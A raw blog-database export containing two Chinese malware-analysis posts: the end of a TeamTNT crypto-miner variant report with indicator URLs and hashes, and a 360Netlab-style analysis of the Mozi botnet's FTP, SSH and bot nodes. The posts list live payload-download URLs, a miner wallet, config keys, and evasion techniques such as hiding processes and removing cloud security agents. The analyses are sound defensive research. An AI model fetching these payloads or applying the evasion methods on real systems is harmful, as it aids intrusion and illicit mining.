* 恢复了DNS为8.8.8.8和8.8.4.4
* 锁定了cron相关的文件
* SecureTheSystem() - 修改ps, top, pstree三个工具，通过过滤关键字串apache2/[httpd]|na/httpd|cmrypto隐藏其它模块和工具。
* LockDownTheSystem() – 锁定了shutdown, reboot, poweroff, telinit等控制系统重启的工具，禁止系统重启。
* KILLMININGSERVICES() – 卸载旧矿机。
* 添加ssh公钥帐号。
* 卸载阿里云和腾讯云安全防护工具。
对照之前曝光过的脚本代码发现主体功能基本一致，只是在扫描部分有些调整。
主模块用到的矿机程序和扫描器如下所示：
XMRig -
(主)hxxp://oracle.htxreceive.top/s3f715/s/avg.tar.gz
(备)https://github.com/xmrig/xmrig/releases/download/v6.13.0/xmrig-6.13.0-linux-static-x64.tar.gz
masscan –
(主)hxxp://oracle.htxreceive.top/s3f715/s/m.tar.gz
(备)hxxps://github.com/robertdavidgraham/masscan/archive/refs/tags/1.3.0.tar.gz
lisa.scanner -
hxxp://oracle.htxreceive.top/s3f715/s/htx-i.${ARCH}
其中，XMRig和masscan之前已经多次见到，但lisa.scanner却是一个首次见到的扫描器，它的开发语言为Go，支持 Postgres、 Reids和 ssh 三种服务的爆破扫描。
扫描器启动后会创建几个.db文件来保存扫描结果。
扫描过程的日志会保存在.log文件中。
IoC
MD5
7153415b8f26390677b2285fdcfcd5ca
60b55e7087d0316d7c886db30cdf0a02
65e0144f02992578feaec652f18a5d4b
b023e29f8e1a4902d463820009aabc9d
9f719395ca35d4dd2fb0dd7cd508b51b
dfdf7e8fb465765e5dd372c4e0b2aad7
4616e44f236263a0c085b14a5009a7e6
7153415b8f26390677b2285fdcfcd5ca
60b55e7087d0316d7c886db30cdf0a02
65e0144f02992578feaec652f18a5d4b
b023e29f8e1a4902d463820009aabc9d
9f719395ca35d4dd2fb0dd7cd508b51b
dfdf7e8fb465765e5dd372c4e0b2aad7
4616e44f236263a0c085b14a5009a7e6
URL
http://oracle.htxreceive.top/s3f715/i.jpg
http://oracle.htxreceive.top/s3f715/s/avg.tar.gz
http://oracle.htxreceive.top/s3f715/i.sh
http://oracle.htxreceive.top/s3f715/s/htx-i.x86_64
http://oracle.htxreceive.top/s3f715/s/htx-i.i386
http://oracle.htxreceive.top/s3f715/s/htx-i.i686
http://oracle.htxreceive.top/s3f715/s/m.tar.gz
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"TeamTNT是一个比较活跃的挖矿家族，曾被腾讯和PAN等国内外安全厂商多次分析[[1]](https://mp.weixin.qq.com/s/3vyqQBYt9pAZY1H_vTgacA)[[2]](https://unit42.paloaltonetworks.com/teamtnt-operations-cloud-environments/)，我们的BotMon系统也曾多次捕获。以往经验显示，TeamTNT家族喜欢使用新技术，比如名为EzuriCrypter的加密壳就是首次在TeamTNT样本中被检测到。近期，我们的Anglerfish蜜罐再次捕获到TeamTNT的新变种，使用了如下新技术和工具：\n1. 通过ELF文件包装入口bash脚本。\n2. 集成了一个新的Go编写的扫描器。\n\n从功能角度看，新变种和5月份曝光的[版本](https://0x20h.com/p/46e1#newinit-sh%E3%80%81init-sh) 相比并没有大的变化，只是在个别功能上做了一些有意思的调整。\n\n# Exploit\n本轮传播使用了已知漏洞 Hadoop_ResourceManager_apps_RCE。\n\n# 入口脚本分析\n跟以往攻击相同，漏洞利用成功后会植入一个名为```i.sh```的入口脚本，内容如下：\n"}],["image",{"src":"__GHOST_URL__/content/images/2021/08/bbbb.png","cardWidth":""}],["markdown",{"markdown":"能看出这段脚本会从```RT_URL```变量中解码出主模块的URL ```hxxp://oracle.htxreceive.top/s3f715/i.jpg```，然后下载并执行。\n\n# ELF打包的主模块分析\n主模块为一个ELF文件，代码看上去非常简单：\n"}],["image",{"src":"__GHOST_URL__/content/images/2021/08/image-1.png"}],["markdown",{"markdown":"上述代码只是释放并执行一个名为```i-r.sh```的脚本文件，所有的功能逻辑其实都在脚本中完成，所以主模块其实只是一个ELF打包的bash脚本。这是我们首次观察到TeamTNT家族使用该技术。\n\n通过分析```i-r.sh```文件，可以很容易的找到TeamTNT的标志信息，将其和TeamTNT关联起来。\n"}],["image",{"src":"__GHOST_URL__/content/images/2021/08/aaaa.png"}],["markdown",{"markdown":"i-r.sh文件包含如下几个函数："}],["image",{"src":"__GHOST_URL__/content/images/2021/08/cccc.png"}],["markdown",{"markdown":"结合具体代码，i-r.sh的主要功能总结如下：\n* 杀死其它矿机程序，\n* 杀死可疑程序，\n* 锁定（文件不能删除，不能更改，不能移动）了部分系统文件，\n* 恢复了DNS为8.8.8.8和8.8.4.4\n* 锁定了cron相关的文件\n* SecureTheSystem() - 修改ps, top, pstree三个工具，通过过滤关键字串apache2/[httpd]\\|na/httpd\\|cmrypto隐藏其它模块和工具。\n* LockDownTheSystem() – 锁定了shutdown, reboot, poweroff, telinit等控制系统重启的工具，禁止系统重启。\n* KILLMININGSERVICES() – 卸载旧矿机。\n* 添加ssh公钥帐号。\n* 卸载阿里云和腾讯云安全防护工具。\n\n对照之前曝光过的脚本代码发现主体功能基本一致，只是在扫描部分有些调整。\n\n主模块用到的矿机程序和扫描器如下所示：\n\n```\nXMRig - \n (主)hxxp://oracle.htxreceive.top/s3f715/s/avg.tar.gz\n (备)https://github.com/xmrig/xmrig/releases/download/v6.13.0/xmrig-6.13.0-linux-static-x64.tar.gz\n\nmasscan – \n (主)hxxp://oracle.htxreceive.top/s3f715/s/m.tar.gz\n (备)hxxps://github.com/robertdavidgraham/masscan/archive/refs/tags/1.3.0.tar.gz\n\nlisa.scanner - \n hxxp://oracle.htxreceive.top/s3f715/s/htx-i.${ARCH}\n```\n\n其中，XMRig和masscan之前已经多次见到，但```lisa.scanner```却是一个首次见到的扫描器，它的开发语言为Go，支持 Postgres、 Reids和 ssh 三种服务的爆破扫描。\n"}],["image",{"src":"__GHOST_URL__/content/images/2021/08/image-3.png"}],["markdown",{"markdown":"扫描器启动后会创建几个.db文件来保存扫描结果。"}],["image",{"src":"__GHOST_URL__/content/images/2021/08/image-4.png"}],["markdown",{"markdown":"扫描过程的日志会保存在.log文件中。"}],["image",{"src":"__GHOST_URL__/content/images/2021/08/image-5.png"}],["markdown",{"markdown":"\n# IoC\n## MD5\n```\n7153415b8f26390677b2285fdcfcd5ca\n60b55e7087d0316d7c886db30cdf0a02\n65e0144f02992578feaec652f18a5d4b\nb023e29f8e1a4902d463820009aabc9d\n9f719395ca35d4dd2fb0dd7cd508b51b\ndfdf7e8fb465765e5dd372c4e0b2aad7\n4616e44f236263a0c085b14a5009a7e6\n7153415b8f26390677b2285fdcfcd5ca\n60b55e7087d0316d7c886db30cdf0a02\n65e0144f02992578feaec652f18a5d4b\nb023e29f8e1a4902d463820009aabc9d\n9f719395ca35d4dd2fb0dd7cd508b51b\ndfdf7e8fb465765e5dd372c4e0b2aad7\n4616e44f236263a0c085b14a5009a7e6\n```\n## URL\n```\nhttp://oracle.htxreceive.top/s3f715/i.jpg \nhttp://oracle.htxreceive.top/s3f715/s/avg.tar.gz \nhttp://oracle.htxreceive.top/s3f715/i.sh \nhttp://oracle.htxreceive.top/s3f715/s/htx-i.x86_64 \nhttp://oracle.htxreceive.top/s3f715/s/htx-i.i386 \nhttp://oracle.htxreceive.top/s3f715/s/htx-i.i686 \nhttp://oracle.htxreceive.top/s3f715/s/m.tar.gz \n```"}]],"markups":[],"sections":[[10,0],[10,1],[10,2],[10,3],[10,4],[10,5],[10,6],[10,7],[10,8],[10,9],[10,10],[10,11],[10,12],[10,13],[1,"p",[]],[10,14],[1,"p",[]]],"ghostVersion":"3.0"} | 610a6f753819e500076348d8 |
post | null | 2021-08-26T09:39:02.000Z | 63873b9a8b1c1e0007f52fdc | the_death_of_mozi_cn | 0 | 2022-02-09T07:05:50.000Z | public | published | null | 2021-08-27T08:37:11.000Z | Mozi已死，余毒犹存 | <!--kg-card-begin: markdown--><h1 id="">背景</h1>
<p>360NETLAB于2019年12月首次披露了<a href="__GHOST_URL__/mozi-another-botnet-using-dht/"><strong>Mozi僵尸网络</strong></a>，到现在已有将近2年时间，在这段时间中，我们见证了它从一个小规模僵尸网络发展为巅峰时占据了极高比例IOT流量巨无霸的过程。</p>
<p>现在Mozi的作者已经<code>被执法机关处置</code>，其中我们也全程提供了<a href="https://mp.weixin.qq.com/s/Su0-uU5JaUrAh8ptTzTCsA">技术协助</a>，因此我们认为后续在相当长的一段时间内它都不会继续更新。但我们知道，Mozi采用了P2P网络结构，而P2P网络的一大“优点”是健壮性好， 即使部分节点瘫痪，整个网络仍然能工作。所以即使Mozi作者不再发布新的更新，它仍然会存活一段时间，残余的节点仍然会去感染其它存在漏洞的设备，所以我们现在仍然能看到Mozi在传播，正可谓“百足之虫，死而不僵”。</p>
<p>许多安全厂商都对Mozi进行了跟踪分析，但从我们的角度而言，或多或少有些遗漏，甚至有错误。今天我们将对Mozi的看法总结在下面这篇文章里，以补充安全社区的分析；同时也为我们对Mozi僵尸网络的持续关注画上一个句号。</p>
<p>本文将回答以下问题：</p>
<p>1：Mozi除Bot节点外还有别的功能节点吗？</p>
<p>2：Mozi Bot模块有新功能吗？</p>
<p>3：Mozi僵尸网络还在更新吗？</p>
<h1 id="mozibot">Mozi僵尸网络中除了Bot还有哪些功能节点？</h1>
<p>众所周知，Mozi僵尸网络中的各个节点被Botnet Master下发的名为<strong>Config</strong>的配置文件驱动，执行具体任务。下图就是一个经典的Config文件，其中<code>[ss]</code>字段说明了节点的功能，此处即为Bot节点，主要功能是DDoS攻击。<br>
<img src="__GHOST_URL__/content/images/2021/08/newmozi_confbot.PNG" width="860px" /></p>
<p>令我们疑惑的是，在跟踪过程中，除了Bot节点的Config，还收到了下面这些形式的Config文件，这说明Mozi僵尸网络中还存在着名为<strong>sk,ftp,sns,ssh</strong>的节点。</p>
<pre><code>[ss]sk[/ss][hp]88888888[/hp][count]http://ia.51.la/go1?id
[ss]ftp[/ss][hp]88888888[/hp][count]http://ia.51.la/go1?id
[ss]sns[/ss][hp]88888888[/hp][count]http://ia.51.la/go1?id
[ss]ssh[/ss][hp]88888888[/hp]
</code></pre>
<p>那他们到底是什么呢？这一直困扰着我们，幸运的是，时间给了我们答案。</p>
<h3 id="0x1ftp">0x1:FTP节点</h3>
<p>2020年1月20日，一个名为"photo.scr"的Windows PE文件(a9d4007c9419a6e8d55805b8f8f52de0)产生的网络流量命中了我们的Mozi特征。一开始我们以为这是一个误报，但经过分析之后，我们确定这正是我们心心念念的Mozi ftp节点样本。为了区分Mozi僵尸网络中不同功能节点的样本，我们内部开始使用Mozi_"ss value"这种命名方式，因此这个样本被命名为Mozi_ftp。</p>
<p>简单来说，Mozi_ftp是一个pyinstaller打包的挖矿木马，通过FTP弱口令爆破实现蠕虫式传播，同时它也会加入Mozi的P2P网络中，等待执行Botnet Master下发的Config。钱包地址如下所示:</p>
<pre><code>47BD6QNfkWf8ZMQSdqp2tY1AdG8ofsEPf4mcDp1YB4AX32hUjoLjuDaNrYzXk7cQcoPBzAuQrmQTgNgpo6XPqSBLCnfsjaV
</code></pre>
<p>其中名为<strong>back.jpg</strong>的模块负责加入Mozi网络以及拉取Config文件，它的基本信息如下所示：</p>
<blockquote>
<p>Filename:back.jpg</p>
<p>MD5:4ae078dd5085e97d3605f20dc079412a</p>
<p>PE32 executable for MS Windows (DLL) (console) Intel 80386</p>
<p>Packer: upx</p>
</blockquote>
<p>在脱壳后的样本中，可以很清楚的看到Mozi_ftp Config支持的的一些标签。<br>
<img src="__GHOST_URL__/content/images/2021/08/mozi_ftp.png" width="860px" /></p>
<p>同Mozi_bot一样，Mozi_ftp也内嵌了一个加密的原始Config文件，通过XOR解密后如下所示：</p>
<img src="__GHOST_URL__/content/images/2021/08/mozi_ftpconf.png" width="860px" />
<p>同Mozi_bot一样，Mozi_ftp通过下面的代码片段对Config进行签名校验<br>
<img src="__GHOST_URL__/content/images/2021/08/mozi_verify.png" width="860px" /></p>
<p>其中用到的XOR密钥，以及2个public_key如下所示：</p>
<pre><code> xor key:4E 66 5A 8F 80 C8 AC 23 8D AC 47 06 D5 4F 6F 7E
------------------------------------------------------------------
xored publickey A
4C B3 8F 68 C1 26 70 EB 9D C1 68 4E D8 4B 7D 5F
69 5F 9D CA 8D E2 7D 63 FF AD 96 8D 18 8B 79 1B
38 31 9B 12 69 73 A9 2E B6 63 29 76 AC 2F 9E 94 A1
after decryption:
02 d5 d5 e7 41 ee dc c8 10 6d 2f 48 0d 04 12 21
27 39 c7 45 0d 2a d1 40 72 01 d1 8b cd c4 16 65
76 57 c1 9d e9 bb 05 0d 3b cf 6e 70 79 60 f1 ea ef
-------------------------------------------------------------------
xored publickey B
4C A6 FB CC F8 9B 12 1F 49 64 4D 2F 3C 17 D0 B8
E9 7D 24 24 F2 DD B1 47 E9 34 D2 C2 BF 07 AC 53
22 5F D8 92 FE ED 5F A3 C9 5B 6A 16 BE 84 40 77 88
after decryption:
02 c0 a1 43 78 53 be 3c c4 c8 0a 29 e9 58 bf c6
a7 1b 7e ab 72 15 1d 64 64 98 95 c4 6a 48 c3 2d
6c 39 82 1d 7e 25 f3 80 44 f7 2d 10 6b cb 2f 09 c6
</code></pre>
<p>它们的值和Mozi_bot所使用的值相同，根据ECDSA384椭圆算法的特性，这说明Mozi_ftp和Mozi_bot使用的相同的私钥，排除私钥泄露的可能性，可以断定它们是出自同一个团伙。</p>
<p>在back.jpg中可以看出Mozi_ftp的Config支持以下基本标签：</p>
<pre><code>[hp]
[cpu]
[cpux]
[ss]
[ssx]
[nd]
</code></pre>
<p>在ftpcrack.py的脚本中，有下的代码片段，<br>
<img src="__GHOST_URL__/content/images/2021/08/mozi_ftp_py.png" width="860px" /><br>
这说明Mozi_ftp还实现以下4个自有的特殊标签</p>
<pre><code>[mdf]
[mdr]
[mud]
[mrn]
</code></pre>
<h3 id="0x2ssh">0x2:SSH节点</h3>
<p>Mozi借用了51la平台来统计其自身规模,这是僵尸网络作者使用的统计工具，其精度和时间延迟远胜于外部探测。2020年9月，我们拿到了Mozi的后台统计数据，在上面，我们除了看到了Mozi_bot节点的统计数据外，还看到下图所示的一组不曾见过的上报入口。<br>
<img src="__GHOST_URL__/content/images/2021/08/newmozi_soso.PNG" width="860px" /></p>
<p>2021年8月18附近，安全产商深信服，奇安信发布威胁预警，一个名为WorkMiner的挖矿木马正在通过SSH口令爆破传播，有P2P网络行为，这引起了我们的兴趣。经过分析，我们惊奇的发现这正是Mozi僵尸网络中的SSH节点，51la那组特别上报入口正是源自于它，依照旧例，我们将它称之为Mozi_ssh。</p>
<p>我们选取分析的样本基本信息如下所示：</p>
<blockquote>
<p>Filename:work64<br>
MD5:429258270068966813aa77efd5834a94<br>
ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped<br>
Packer:upx</p>
</blockquote>
<p>简单来说，Mozi_ssh是一个通过SSH弱口令爆破实现蠕虫式传播的挖矿木马，大约于2020年10月开始活动(基于样本在VT的时间，未必准确)，钱包地址如下所示，可以看出Mozi_ssh和Mozi_ftp使用相同的钱包。</p>
<pre><code>47BD6QNfkWf8ZMQSdqp2tY1AdG8ofsEPf4mcDp1YB4AX32hUjoLjuDaNrYzXk7cQcoPBzAuQrmQTgNgpo6XPqSBLCnfsjaV
</code></pre>
<p>Mozi_ssh是由GO代码和C代码混合编译而来。其中GO代码负责SSH相关的爆破传播，以及对Config的处理，C代码则负责处理加入Mozi P2P网络，拉取Config。<br>
<img src="__GHOST_URL__/content/images/2021/08/mozi_ssh.png" width="860px" /></p>
<p>Mozi_ssh通过以下代码片段实现调用C代码(dht_task)加到P2P网络中。<br>
<img src="__GHOST_URL__/content/images/2021/08/mozi_sshgoc.png" width="860px" /></p>
<p>函数dht_task的处理逻辑和Mozi_bot一样，内嵌的Config解密后如下所示：<br>
<img src="__GHOST_URL__/content/images/2021/08/mozi_sshconf.png" width="860px" /></p>
<p>和Mozi_ftp一样，用于解密的Config的XOR密钥，以及用于Config签名检验的2个public_key和Mozi_bot中所用的是一样的，这说明Mozi_ssh与Mozi_bot出自于同一个团伙。</p>
<p>在dht_task函数中，可以看到，Mozi_ssh的Config支持以下基本标签：</p>
<pre><code>[hp]
[ver]
[cpu]
[ss]
[sv]
[nd]
</code></pre>
<p>对于通过检验后的Config，Mozi_ssh用通过函数<code>main_deal_conf</code>来处理，比如下面的代码片段就是在处理<strong>swan</strong>标签。相较于Mozi_bot，Mozi_ssh除了支持基本标签，还实现了许多自有的特殊标签。</p>
<p><img src="__GHOST_URL__/content/images/2021/08/mozi_sshdeal.png" alt="newmozi_confbot" loading="lazy"></p>
<p>Mozi_ssh支持的自有的特殊标签如下所示：</p>
<pre><code>[slan]
[swan]
[spl]
[sdf]
[sud]
[ssh]
[srn]
[sdr]
[scount]
</code></pre>
<h3 id="0x3">0x3: 小结</h3>
<p>Mozi_ftp，Mozi_ssh的发现，使得我们有明确的证据证明Mozi僵尸网络也在试图从挖矿中牟利。从bot，ftp，ssh这3种节点的样本上，可以看出其作者已经将"DHT+Config"这种模型作为一个基本模块来使用，通过复用这个模块，再为不同的功能节点设计不同的特殊标签命令，就能快速的开发出新功能节点所需的程序，十分方便，这种便利性是Mozi僵尸网络能快速膨胀的原因之一。</p>
<h1 id="mozibotv2s">Mozi bot v2s有哪些变化？</h1>
<p>在Mozi僵尸网络中，占比最高的就是mozi_bot的节点。2020年1月07日，我们捕获了版本号为v2s的bot样本(<code>1bd4f62fdad18b0c140dce9ad750f6de</code>)，随后此版本活跃至今。这个版本引起过安全社区的大量关注，虽然许多安全产商对其都有过分析，但是我们发现依然有遗漏的部分，我们将从补缺这个角度出发，向社区分享我们的发现。</p>
<p>据统计，mozi v2s bot样本主要为ARM，MIPS俩个CPU架构，下文选取ARM架构的样本为分析对象，样本信息如下</p>
<blockquote>
<p>MD5:b9e122860983d035a21f6984a92bfb22</p>
<p>ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped</p>
<p>Lib: uclibc</p>
<p>Packer:UPX</p>
</blockquote>
<p>v2s的bot样本与我们最初分析的v2样本有非常多的变化，其中最直观的体现在Config支持的标签上，v2s新增加了2个标签<code>[cnc],[hj]</code>，除此之外，新增外网地址获取，upnp端口映射等功能，下面将一一分析这些功能给Mozi_bot带来的变化， 其中[hj]标签的功能，<a href="https://www.microsoft.com/security/blog/2021/08/19/how-to-proactively-defend-against-mozi-iot-botnet/">微软</a>于2021年8月19日发表过这方面的文章，读者可自行参阅。</p>
<img src="__GHOST_URL__/content/images/2021/08/newmozi_compare.PNG" width="860px" />
<h3 id="0x1cnc">0x1:[cnc] 标签</h3>
<p>Mozi僵尸网络的"DHT+Config"这种设计固然有其便利性，但同时也产生了一个缺陷，全部Bot节点在同步Config时存在效率低下的问题，这会间接的导致DDoS的效率低下。为了解决这个问题，Mozi作者设计了[cnc]这个标签，对应新的DDoS攻击子任务。</p>
<p>整个子任务复用了Mirai的代码，通过[cnc]关键字指定C2，Bot节点通过Mirai协议和C2建立通信后，等待C2下发的指令进行DDos攻击。增加了这个子任务后，Mozi要进行攻击时，不再需要通过一次一次同步Config获取攻击目标，只需同步一次Config，得到指定的C2即可，极大的提高了Bot节点的攻击效率，对应的网络结构如下所示：</p>
<img src="__GHOST_URL__/content/images/2021/08/newmozi_network.jpg" width="860px" />
<p>以下是获取C2：PORT的代码片段<br>
<img src="__GHOST_URL__/content/images/2021/08/newmozi_mirai.PNG" width="860px" /></p>
<p>以下是发送上线包的代码片段<br>
<img src="__GHOST_URL__/content/images/2021/08/newmozi_initmsg.PNG" width="860px" /></p>
<p>以下是发送心跳的代码片段<br>
<img src="__GHOST_URL__/content/images/2021/08/newmozi_heartbeat.PNG" width="860px" /></p>
<p>以下是支持的攻击向量，一共有12种方法，编号11被写了2次，因此Mozi的Bot节点只支持11种攻击方法。<br>
<img src="__GHOST_URL__/content/images/2021/08/newmozi_ddos.PNG" width="860px" /></p>
<p>对Mirai熟悉的朋友看到此处想必会会心一笑，正是因为大量使用Mirai代码，这批Mozi样本被大量杀软产商标记为Mirai，我们推荐杀软产商根据子功能的名称编写查杀特征以正确的标识Mozi_bot样本。</p>
<img src="__GHOST_URL__/content/images/2021/08/newmozi_vt.PNG" width="860px" />
<h3 id="0x2">0x2:外网地址获取</h3>
<p>通过<code>http://ipinfo.io/ip</code>获取外网IP以便在在Telnet，Exploit的payload使用。<br>
<img src="__GHOST_URL__/content/images/2021/08/newmozi_ip.PNG" width="860px" /></p>
<p>加入这个特性之后不会再有下面内网ip出现在传播payload的情况了。<br>
<img src="__GHOST_URL__/content/images/2021/08/newmozi_error.PNG" width="860px" /></p>
<h3 id="0x3upnp">0x3:upnp端口映射</h3>
<p>当被感染的设备是通过NAT访问网络时，Mozi_bot通过监听端口在设备上开启的HTTP样本下载服务是无法被外网直接访问的，新版本的Mozi通过upnp的<code>AddPortMapping</code>在路由器上实现端口映射，以保证服务的正常访问。</p>
<img src="__GHOST_URL__/content/images/2021/08/newmozi_upnp.PNG" width="860px" />
<h3 id="0x4">0x4:小结</h3>
<p>我们可以看出Mozi bot的这些更新都是为了提高效率：DDoS攻击的效率，传播感染的效率。弃用Gafgyt的攻击代码，转向更有效率的Mirai。通过[cnc]子任务，重构DDoS攻击功能，实现控制节点与业务节点的分离，极大的增加了Mozi的网络弹性，这种分离意味着<code>僵尸网络的控制功能和实际业务解耦</code>，使得Mozi的作者不仅可以自己进行DDos攻击，也能很方便的将整个网络租赁给别的团伙。</p>
<h1 id="mozibots">Mozi bots还在更新吗？</h1>
<p>Mozi僵尸网络的样本已经在相当长一段时间内停止更新了，然而这并不意味着Mozi带来的威胁就此终止，由于其已经散布在互联网上的部分有着持续感染的能力，每天都会有新的设备被感染成为僵尸网络的一部分，也每天都会有设备因为升级或者离线从而脱离该僵尸网络的控制。总体我们预期其规模会以周为周期震荡下行，并在互联网上存活数年。<code>既往已经有若干被各国执法机构终结的僵尸网络走上了这条道路，Mozi僵尸网络也已经一步一步走向它的坟墓</code>。</p>
<h1 id="">总结</h1>
<p>Ftp,SSH结点的相继被发现，让我们对Mozi僵尸网络有了更深的认知。Mozi僵尸网络是一个混杂的，影响Windows，Linux，IOT 多平台的大型僵尸网络，通过TELNET,SSH,FTP弱口令爆破，以及Nday漏洞的方式实现蠕虫式扩张，它由不同类型的功能结点组成，现已知的节点有进行DDoS攻击的Bot节点，进行Miner的Ftp,SSH结点。网络结构的清楚，不代表掌握了它所有的细节，我们相信还有许多信息可以填充到Mozi僵尸网络这张图上，由于视野有限，目前只能向安全社区分享这么多。如果社区有相关的线索，欢迎与我们联系，让我们一起<code>Make Cyber Security Great Again</code>。</p>
<!--kg-card-end: markdown--> | 背景
360NETLAB于2019年12月首次披露了Mozi僵尸网络，到现在已有将近2年时间，在这段时间中，我们见证了它从一个小规模僵尸网络发展为巅峰时占据了极高比例IOT流量巨无霸的过程。
现在Mozi的作者已经被执法机关处置，其中我们也全程提供了技术协助，因此我们认为后续在相当长的一段时间内它都不会继续更新。但我们知道，Mozi采用了P2P网络结构，而P2P网络的一大“优点”是健壮性好， 即使部分节点瘫痪，整个网络仍然能工作。所以即使Mozi作者不再发布新的更新，它仍然会存活一段时间，残余的节点仍然会去感染其它存在漏洞的设备，所以我们现在仍然能看到Mozi在传播，正可谓“百足之虫，死而不僵”。
许多安全厂商都对Mozi进行了跟踪分析，但从我们的角度而言，或多或少有些遗漏，甚至有错误。今天我们将对Mozi的看法总结在下面这篇文章里，以补充安全社区的分析；同时也为我们对Mozi僵尸网络的持续关注画上一个句号。
本文将回答以下问题：
1：Mozi除Bot节点外还有别的功能节点吗？
2：Mozi Bot模块有新功能吗？
3：Mozi僵尸网络还在更新吗？
Mozi僵尸网络中除了Bot还有哪些功能节点？
众所周知，Mozi僵尸网络中的各个节点被Botnet Master下发的名为Config的配置文件驱动，执行具体任务。下图就是一个经典的Config文件，其中[ss]字段说明了节点的功能，此处即为Bot节点，主要功能是DDoS攻击。
令我们疑惑的是，在跟踪过程中，除了Bot节点的Config，还收到了下面这些形式的Config文件，这说明Mozi僵尸网络中还存在着名为sk,ftp,sns,ssh的节点。
[ss]sk[/ss][hp]88888888[/hp][count]http://ia.51.la/go1?id
[ss]ftp[/ss][hp]88888888[/hp][count]http://ia.51.la/go1?id
[ss]sns[/ss][hp]88888888[/hp][count]http://ia.51.la/go1?id
[ss]ssh[/ss][hp]88888888[/hp]
那他们到底是什么呢？这一直困扰着我们，幸运的是，时间给了我们答案。
0x1:FTP节点
2020年1月20日，一个名为"photo.scr"的Windows PE文件(a9d4007c9419a6e8d55805b8f8f52de0)产生的网络流量命中了我们的Mozi特征。一开始我们以为这是一个误报，但经过分析之后，我们确定这正是我们心心念念的Mozi ftp节点样本。为了区分Mozi僵尸网络中不同功能节点的样本，我们内部开始使用Mozi_"ss value"这种命名方式，因此这个样本被命名为Mozi_ftp。
简单来说，Mozi_ftp是一个pyinstaller打包的挖矿木马，通过FTP弱口令爆破实现蠕虫式传播，同时它也会加入Mozi的P2P网络中，等待执行Botnet Master下发的Config。钱包地址如下所示:
47BD6QNfkWf8ZMQSdqp2tY1AdG8ofsEPf4mcDp1YB4AX32hUjoLjuDaNrYzXk7cQcoPBzAuQrmQTgNgpo6XPqSBLCnfsjaV
其中名为back.jpg的模块负责加入Mozi网络以及拉取Config文件，它的基本信息如下所示：
Filename:back.jpg
MD5:4ae078dd5085e97d3605f20dc079412a
PE32 executable for MS Windows (DLL) (console) Intel 80386
Packer: upx
在脱壳后的样本中，可以很清楚的看到Mozi_ftp Config支持的的一些标签。
同Mozi_bot一样，Mozi_ftp也内嵌了一个加密的原始Config文件，通过XOR解密后如下所示：
同Mozi_bot一样，Mozi_ftp通过下面的代码片段对Config进行签名校验
其中用到的XOR密钥，以及2个public_key如下所示：
xor key:4E 66 5A 8F 80 C8 AC 23 8D AC 47 06 D5 4F 6F 7E
------------------------------------------------------------------
xored publickey A
4C B3 8F 68 C1 26 70 EB 9D C1 68 4E D8 4B 7D 5F
69 5F 9D CA 8D E2 7D 63 FF AD 96 8D 18 8B 79 1B
38 31 9B 12 69 73 A9 2E B6 63 29 76 AC 2F 9E 94 A1
after decryption:
02 d5 d5 e7 41 ee dc c8 10 6d 2f 48 0d 04 12 21
27 39 c7 45 0d 2a d1 40 72 01 d1 8b cd c4 16 65
76 57 c1 9d e9 bb 05 0d 3b cf 6e 70 79 60 f1 ea ef
-------------------------------------------------------------------
xored publickey B
4C A6 FB CC F8 9B 12 1F 49 64 4D 2F 3C 17 D0 B8
E9 7D 24 24 F2 DD B1 47 E9 34 D2 C2 BF 07 AC 53
22 5F D8 92 FE ED 5F A3 C9 5B 6A 16 BE 84 40 77 88
after decryption:
02 c0 a1 43 78 53 be 3c c4 c8 0a 29 e9 58 bf c6
a7 1b 7e ab 72 15 1d 64 64 98 95 c4 6a 48 c3 2d
6c 39 82 1d 7e 25 f3 80 44 f7 2d 10 6b cb 2f 09 c6
它们的值和Mozi_bot所使用的值相同，根据ECDSA384椭圆算法的特性，这说明Mozi_ftp和Mozi_bot使用的相同的私钥，排除私钥泄露的可能性，可以断定它们是出自同一个团伙。
在back.jpg中可以看出Mozi_ftp的Config支持以下基本标签：
[hp]
[cpu]
[cpux]
[ss]
[ssx]
[nd]
在ftpcrack.py的脚本中，有下的代码片段，
这说明Mozi_ftp还实现以下4个自有的特殊标签
[mdf]
[mdr]
[mud]
[mrn]
0x2:SSH节点
Mozi借用了51la平台来统计其自身规模,这是僵尸网络作者使用的统计工具，其精度和时间延迟远胜于外部探测。2020年9月，我们拿到了Mozi的后台统计数据，在上面，我们除了看到了Mozi_bot节点的统计数据外，还看到下图所示的一组不曾见过的上报入口。
2021年8月18附近，安全产商深信服，奇安信发布威胁预警，一个名为WorkMiner的挖矿木马正在通过SSH口令爆破传播，有P2P网络行为，这引起了我们的兴趣。经过分析，我们惊奇的发现这正是Mozi僵尸网络中的SSH节点，51la那组特别上报入口正是源自于它，依照旧例，我们将它称之为Mozi_ssh。
我们选取分析的样本基本信息如下所示：
Filename:work64
MD5:429258270068966813aa77efd5834a94
ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped
Packer:upx
简单来说，Mozi_ssh是一个通过SSH弱口令爆破实现蠕虫式传播的挖矿木马，大约于2020年10月开始活动(基于样本在VT的时间，未必准确)，钱包地址如下所示，可以看出Mozi_ssh和Mozi_ftp使用相同的钱包。
47BD6QNfkWf8ZMQSdqp2tY1AdG8ofsEPf4mcDp1YB4AX32hUjoLjuDaNrYzXk7cQcoPBzAuQrmQTgNgpo6XPqSBLCnfsjaV
Mozi_ssh是由GO代码和C代码混合编译而来。其中GO代码负责SSH相关的爆破传播，以及对Config的处理，C代码则负责处理加入Mozi P2P网络，拉取Config。
Mozi_ssh通过以下代码片段实现调用C代码(dht_task)加到P2P网络中。
函数dht_task的处理逻辑和Mozi_bot一样，内嵌的Config解密后如下所示：
和Mozi_ftp一样，用于解密的Config的XOR密钥，以及用于Config签名检验的2个public_key和Mozi_bot中所用的是一样的，这说明Mozi_ssh与Mozi_bot出自于同一个团伙。
在dht_task函数中，可以看到，Mozi_ssh的Config支持以下基本标签：
[hp]
[ver]
[cpu]
[ss]
[sv]
[nd]
对于通过检验后的Config，Mozi_ssh用通过函数main_deal_conf来处理，比如下面的代码片段就是在处理swan标签。相较于Mozi_bot，Mozi_ssh除了支持基本标签，还实现了许多自有的特殊标签。
Mozi_ssh支持的自有的特殊标签如下所示：
[slan]
[swan]
[spl]
[sdf]
[sud]
[ssh]
[srn]
[sdr]
[scount]
0x3: 小结
